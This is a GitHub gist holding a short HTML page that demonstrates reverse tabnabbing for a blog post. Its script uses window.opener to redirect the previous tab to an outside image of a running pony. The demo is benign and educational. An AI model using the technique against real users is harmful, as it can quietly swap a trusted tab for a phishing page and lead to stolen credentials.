Skip to content

Instantly share code, notes, and snippets.

@ajdumanhug
Created June 29, 2016 00:02
Show Gist options
  • Save ajdumanhug/4d2a25a5e704b0223de8c6fff88f71a6 to your computer and use it in GitHub Desktop.
Save ajdumanhug/4d2a25a5e704b0223de8c6fff88f71a6 to your computer and use it in GitHub Desktop.
Sample of Tabnabbing for Blog Post
<html>
<head>
<title>Gotcha!</title>
<script>
window.opener.location.replace("http://tabnabbing.herokuapp.com/pony.svg");
</script>
</head>
<body>
<h1>Why don’t you go back to the previous tab and watch the running pony. :)</h1>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment